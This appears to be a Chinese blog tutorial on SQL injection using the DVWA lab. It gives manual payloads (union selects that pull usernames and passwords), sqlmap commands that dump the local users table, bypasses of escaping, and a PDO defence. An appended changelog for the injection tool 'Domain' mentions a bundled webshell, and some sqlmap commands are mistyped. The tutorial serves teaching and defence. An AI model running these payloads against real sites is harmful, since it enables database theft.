常见的网站漏洞——SQL注入

1、SQL注入

  • 在输入的字符串中注入SQL指令,而在设计不良的程序中忽略了字符检查,数据库服务器就会认为这些指令是正常的SQL指令而运行。(改变原有的SQL语句)

2、SQL是什么?

  • SQL是结构化查询语言,用于操控数据库的语言。

3、如何判断存在SQL注入漏洞?

  • 正常从数据库中查询数据:
    select ticket_num from Movie_data where movie_name='长津湖'; 
    // 从电影信息数据库中查询电影名称为长津湖的票房数据
  • 黑客怎么做:
    • select ticket_num from Movie_data where movie_name='长津湖' order by 1 #';
    • 输入的数据为:长津湖' order by 1 #
    • 【注】#的作用是注释后续SQL语句。
    • 该语句不仅查询了长津湖票房,还执行了order by 1。
  • 例如:
    • 源代码:
      SELECT first_name, last_name FROM users WHERE user_id = '$id'; 
      // $id为用户输入的内容
    • SQL注入尝试:
      SELECT first_name, last_name FROM users WHERE user_id = '1' and 1=1#'; 
      // 在原有查询完成后会判断1=1(正确),判断正确才会有输出
      SELECT first_name, last_name FROM users WHERE user_id = '1' and 1=2#'; 
      // 1=2判断错误,不输出
      // 两次输入,证明SQL语句生效,存在SQL注入漏洞。

4、如何利用SQL注入漏洞?

  • 判断列/字段数 order by [column_num],例如:
    1' order by 1# // 正常输出
    1' order by 2# // 正常输出
    1' order by 3# // 网页报错
    // 证明该数据库表有2列/字段,即存在SQL注入漏洞。
  • 联合查询其他信息 union select [sql1] [sql2],例如:
    1' union select user(),database()#
    • 【注】union联合查询:一次查询两个。
    • 执行了MySQL内置函数user()和database()。
      • user():返回当前数据库连接用户。
      • database():返回当前数据库名称。
  • 联合查询表 union select table_name,table_schema from information_schema.tables where table_schema = '[database_name]',例如:
    1' union select table_name,table_schema from information_schema.tables 
    where table_schema = 'dvwa'#
     // 查询dvwa数据库中有哪些表。
  • 联合查询信息 union [query_sql],例如:
    1' union select user,password from users#
    // 从users表中查询用户名和密码。

5、SQLmap

  • SQLmap能把复杂的SQL注入语句自动化利用。
  • 官网:sqlmap.org
  • 下载使用方法:
    • 下载源代码,直接使用python运行sqlmap.py。
    • 安装kali操作系统,kali自带sqlmap,可直接输入sqlmap执行。
  • 过程:
    • 检测漏洞
      • python sqlmap.py -u "..." --cookie= "..."
      • -u:url地址,即需要检测的网站。
      • --cookie:某些网站可能需要登录,可在浏览器控制台(F12)的网络中查看请求消息头中获取cookie。
      • 例如:
        python sqlmap.py 
        -u "http://127.0.0.1/DVWA/vulnerabilities/sqli/?id=&Submit=Submit#" 
        --cookie= "PHPSESSID=ffeiks76ngqkismb54nh8iom72; security=low"
    • 获取数据库名
      • 在之前的语句后加上--dbs
      • --dbs:获取所有数据库名。
      • 例如:
        python sqlmap.py 
        -u "http://127.0.0.1/DVWA/vulnerabilities/sqli/?id=&Submit=Submit#" 
        --cookie= "PHPSESSID=ffeiks76ngqkismb54nh8iom72; security=low" --dbs
    • 获取指定数据库表
      •  在之前的语句后加上-D 数据库名 --tables
      • --D:Database指定想要获取的数据库名为dvwa。
      •  --tables:列出数据库表。
      •  例如:
        python sqlmap.py 
        -u "http://127.0.0.1/DVWA/vulnerabilities/sqli/?id=&Submit=Submit#" 
        --cookie="PHPSESSID=ffeiks76ngqkismb54nh8iom72; security=low" 
        -D dvwa --tables
    • 获取指定数据库列/表项
      • 在之前的语句后加上-D 数据库名 -T 表名 --columns
      • -T:指定想要获取的表名为users。
      • --columns:列出表项/列。
      • 例如:
        python sqlmap.py 
        -u "http://127.0.0.1/DVWA/vulnerabilities/sqli/?id=&Submit=Submit#" 
        --cookie="PHPSESSID=ffeiks76ngqkismb54nh8iom72; security=low" 
        -D dvwa -users --columns
    • 获取数据
      • 在之前的语句后加上-D 数据库名 -T 表名 --dump
      • --dump:获取数据。
      • 例如:
        python sqlmap.py 
        -u "http://127.0.0.1/DVWA/vulnerabilities/sqli/?id=&Submit=Submit#" 
        --cookie="PHPSESSID=ffeiks76ngqkismb54nh8iom72; security=low" 
        -D dvwa -users --dump
        // 可选择是否爆破加密密码。

6、SQL注入防御

  • 方法:过滤用户输入内容,不让数据sql语句,即将特殊符号替换成空,或判断用户输入SQL语句就终止执行。
  • medium中级防御
    $id = mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $id); 
    // 转义字符串中的特殊字符
    • 即将:
      1' union select table_name,table_schema from information_schema.tables 
      where table_schema = 'dvwa'# 
    • 转换为:
      1\' union select table_name,table_schema from information_schema.tables 
      where table_schema = \'dvwa\'# // 在特殊字符前加上反斜杠
    • 破解方法:
      • 将'dvwa'替换为database(),例:
        1 union select table_name,table_schema from information_schema.tables 
        where table_schema = database()# 
      • 将'dvwa'替换为0x64767761(dvwa的十六进制),例:
        1 union select table_name,table_schema from information_schema.tables 
        where table_schema = 0x64767761# 
  • high高级防御
    $query  = "SELECT first_name, last_name FROM users 
                WHERE user_id = '$id' LIMIT 1;"; 
    // 添加限制,但是缺少传入数据的过滤,无法防御注入漏洞
  • impossible防御
    • 使用PDO:PHP Data Object,配合正确的过滤和SQL语句能避免SQL注入。
    • 例如:
      if(is_numeric( $id )) { // 判断输入是否为数字
          $id = intval ($id); // 获取输入中的数字,再次确认输入是否为数字
          switch ($_DVWA['SQLI_DB']) {
              case MYSQL:
              $data = $db->prepare( 'SELECT first_name, last_name FROM users 
                      WHERE user_id = (:id) LIMIT 1;' ); // 进行SQL语句预处理
              // 绑定输入参数,并再次指定为整型,PDO
              $data->bindParam( ':id', $id, PDO::PARAM_INT ); 
              $data->execute();
              $row = $data->fetch();
              ...
          }
          ...
      }
  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论
Domain4.3(明小子)10.10.10更新版主要更新内容如下: 1.驱除部分死连接,恢复部分官方连接 2.改变默认显示页面为本人BLOG 3.修正程序在检测时出错的BUG 4.修正程序在部分系统中无法启动的BUG 5.加了一个功能模块,但还不成熟,隐藏了,高手的话可以用OD调出来!>!< 6.修复前段时间一些朋友反映的错误和程序宏 7.增加四款SKN皮肤! 10.10.11紧急更新: 1.修正新版程序在部分系统中启动后直接导致系统蓝屏的BUG 2.修正域名查询的几个错误 3.修正程序批量检测查询到域名的时候无反映的BUG! Domain4.2(明小子)10.01.16更新版主要更新内容如下: 1.删除所有无关数据 2.优化急速代码 3.改变启动线程 4.增加SQL数据批量导出功能 5.加入几个优化进程模块,非后门.后台运行. 6.锁定主程序栏目宽和高,不在恢复 7.删除“辅助工具”模块中全部代码 8.修正XP SP3 程序下兼容问题 9.重新改写域名查询旁站线程 程序于2018年01月16号调试完毕! 提别提示:第4个功能只能运行在完整版的windows XP 平台系统中,其他平台无法运行,如果出现恢复按钮并不能保存请自行调试与本程序无关.谢谢合作! 宝宝的话:有朋友们的鼓励才会有这个版本的发布,这当是我送给大家2010年里的第一个礼物吧。 Domain4.1(明小子)0901更新版主要更新内容如下: 1.增加新系统兼容模块,全面兼容2000-2008各系统 (部分精简版系统除外) 2.优化网站打开速度,删减部分无用内核信息,全面加快程序启动速度. 3.基于09.05.20号内核提升,改变搜查循环的一个死BUG! 4.删除在0520上增加的一个补针函数,并使用新的函数替换.保证不报错. 5.不在兼容xpsp3,因为没时间去修正这个错误。所以可能部分SP3系统运行不起来本程序 6.增加部分程序扩充空格代码,为下个版本更新做好铺垫 小提示:保留旧的IP反查连接系统,原因没有找到新的和稳定的IP反差服务器!如果有能提供的请与本人联系!谢谢合作 Domain4.1(明小子)0520更新版主要更新内容如下: 1.基于08.10.01号内核提升,修正一次关键错误。 2.替换原程序自带的那个小马,该为最新美化免杀版的小马! 3.添加一个服务器挂钩程序(非插件),使修改后的新内核兼容vista系统。 4.程序数据库默认名为:SetData.mdb 请大家使用3.5版本以上的MDB数据.其他低版本程序可能不兼容! 5.删除后台下载统计代码(以前没发现,本人也是从网站上面下的软件,排除作者自添加行为) 6.加了一个补针,针对sql注入功能中的一个小BUG。 7.删除了很多没有用的代码,最大限度的优化程序启动速度。 8.更新部分在xpsp3下出错的几个小BUG(小问题小解决,这个错误仅针对部分优化过度的XPSP3系统)。 提记:很多朋友说需要修改下程序IP域名查询功能,这里说明下.由于内核找不到关键句柄导致无法更新,下个版本在仔细看看! Domain4.0(明小子)1001更新版主要更新内容如下: 1.更新部分过度优化过的系统不兼容问题。 2.修改内存识别函数,使其降低软件在使用期间所占用的内存大小。 3.基于08.09.15号内核提升,修正因修改软件所出现的几个导致软件崩溃的几个BUG。 4.换了软件自带的那个垃圾皮肤。加入兼容美化皮肤!更美观! 5.兼容前版本数据库支持功能
回答: CTFsql注入练习题是一种用于训练和测试SQL注入技巧的题目。在这些题目中,参与者需要通过注入恶意的SQL代码来绕过应用程序的安全机制,从而获取敏感信息或者执行未授权的操作。这些题目通常包含了不同的注入场景和技巧,例如基于时间的盲注、报错注入、布尔盲注、宽字节注入等等。参与者需要通过分析应用程序的行为和结构,构造合适的注入语句来实现攻击目标。在解决这些题目的过程中,参与者可以提高对SQL注入漏洞的理解和掌握,并学习如何防范和修复这类漏洞。 #### 引用[.reference_title] - *1* *2* [CTF-SQL注入入门题型](https://blog.csdn.net/weixin_43080961/article/details/121939366)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v91^insert_down28v1,239^v3^insert_chatgpt"}} ] [.reference_item] - *3* [i 春秋 CTF训练营 web——SQL注入 1(字符型注入)(手动注入)](https://blog.csdn.net/AAAAAAAAAAAA66/article/details/121626527)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v91^insert_down28v1,239^v3^insert_chatgpt"}} ] [.reference_item] [ .reference_list ]

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

恣睢s

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值